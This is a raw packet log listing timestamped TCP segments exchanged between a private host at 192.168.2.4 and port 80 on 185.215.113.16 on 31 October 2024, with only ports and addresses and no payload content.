Oct 31, 2024 05:06:37.254877090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254925013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254939079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254957914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254971981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.254976034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.254988909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255002975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255011082 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.255018950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255033970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255040884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.255069017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.255116940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255172968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255187035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255208969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255223989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255224943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.255239010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.255249023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.255275965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.372827053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.372905970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.372932911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.372948885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.372957945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.372965097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.372984886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.372997046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373006105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373022079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373035908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373047113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373054981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373064995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373090029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373104095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373119116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373125076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373131990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373141050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373156071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373178959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373193026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373198032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373208046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373210907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373234987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373250008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373264074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373267889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373280048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373282909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373296976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373312950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373318911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373337030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373359919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373374939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373377085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373390913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373397112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373406887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373423100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373444080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373457909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373460054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373466015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373481035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373497009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373498917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373519897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373533010 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373544931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373558998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373574018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373588085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373590946 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373611927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373611927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373629093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373642921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373647928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373658895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373675108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373697996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373699903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373708963 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373713970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373729944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373744011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373750925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373770952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373780012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373788118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373802900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373825073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373840094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373841047 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373857021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373863935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373872995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373889923 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373904943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373908043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373919964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373928070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373944044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373960018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373975039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.373980045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373999119 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.373999119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374016047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374030113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374038935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374047041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374062061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374079943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374089956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374099970 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374104023 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374128103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374144077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374159098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374167919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374176025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374183893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374198914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374216080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374222040 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374231100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374247074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374262094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374264002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374278069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374278069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374294043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374310970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374334097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374340057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374340057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374350071 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374365091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374378920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374392986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374399900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374408960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374409914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374433994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374449968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374464989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374478102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374478102 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374480009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374495983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374510050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374525070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374532938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374541044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374547005 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374557018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374572039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374587059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374593973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374602079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374602079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374619007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374643087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374658108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374655962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374674082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374680042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374690056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374706030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374726057 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374727964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374735117 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374744892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374758959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374780893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374793053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374797106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374813080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374816895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374830961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374847889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374869108 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374882936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.374897957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374912977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374963045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374978065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.374991894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375008106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375013113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375065088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375081062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375101089 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375106096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375123024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375135899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375149965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375153065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375169039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375173092 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375193119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375207901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375221968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375231981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375236988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375238895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375252962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375268936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375282049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375284910 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375299931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375304937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375324965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375349998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375360966 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375363111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375377893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375380993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375395060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375408888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375422955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375432968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375437975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375453949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375468016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375477076 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375483990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375484943 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375499964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375508070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375515938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375529051 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375535011 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375545025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375560999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375576019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375585079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375592947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375679970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375725031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375741005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375765085 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375777006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375777960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375794888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375809908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375825882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375837088 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375857115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375871897 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375879049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375886917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375901937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375905037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375919104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375948906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375951052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375967026 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.375988007 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.375991106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376008034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376023054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376034021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376045942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376061916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376063108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376077890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376092911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376108885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376123905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376148939 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376163006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376190901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376205921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376220942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376235962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376244068 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376252890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376275063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376276970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376293898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376316071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376317978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376333952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376348972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376353025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376364946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376389980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376390934 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376406908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376426935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376430035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376447916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376462936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376477003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376483917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376492977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376504898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376508951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376524925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376538992 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376549959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376565933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376569033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376580954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376595974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376610994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376626015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376631021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376642942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376646042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376658916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376667976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376686096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376703024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376705885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376718044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376733065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376744986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376749039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376765013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376770973 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376782894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376804113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376857996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376873970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376898050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376898050 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376914978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376931906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376939058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.376948118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.376969099 CET	80	49744	185.215.113.16	192.168.2.4
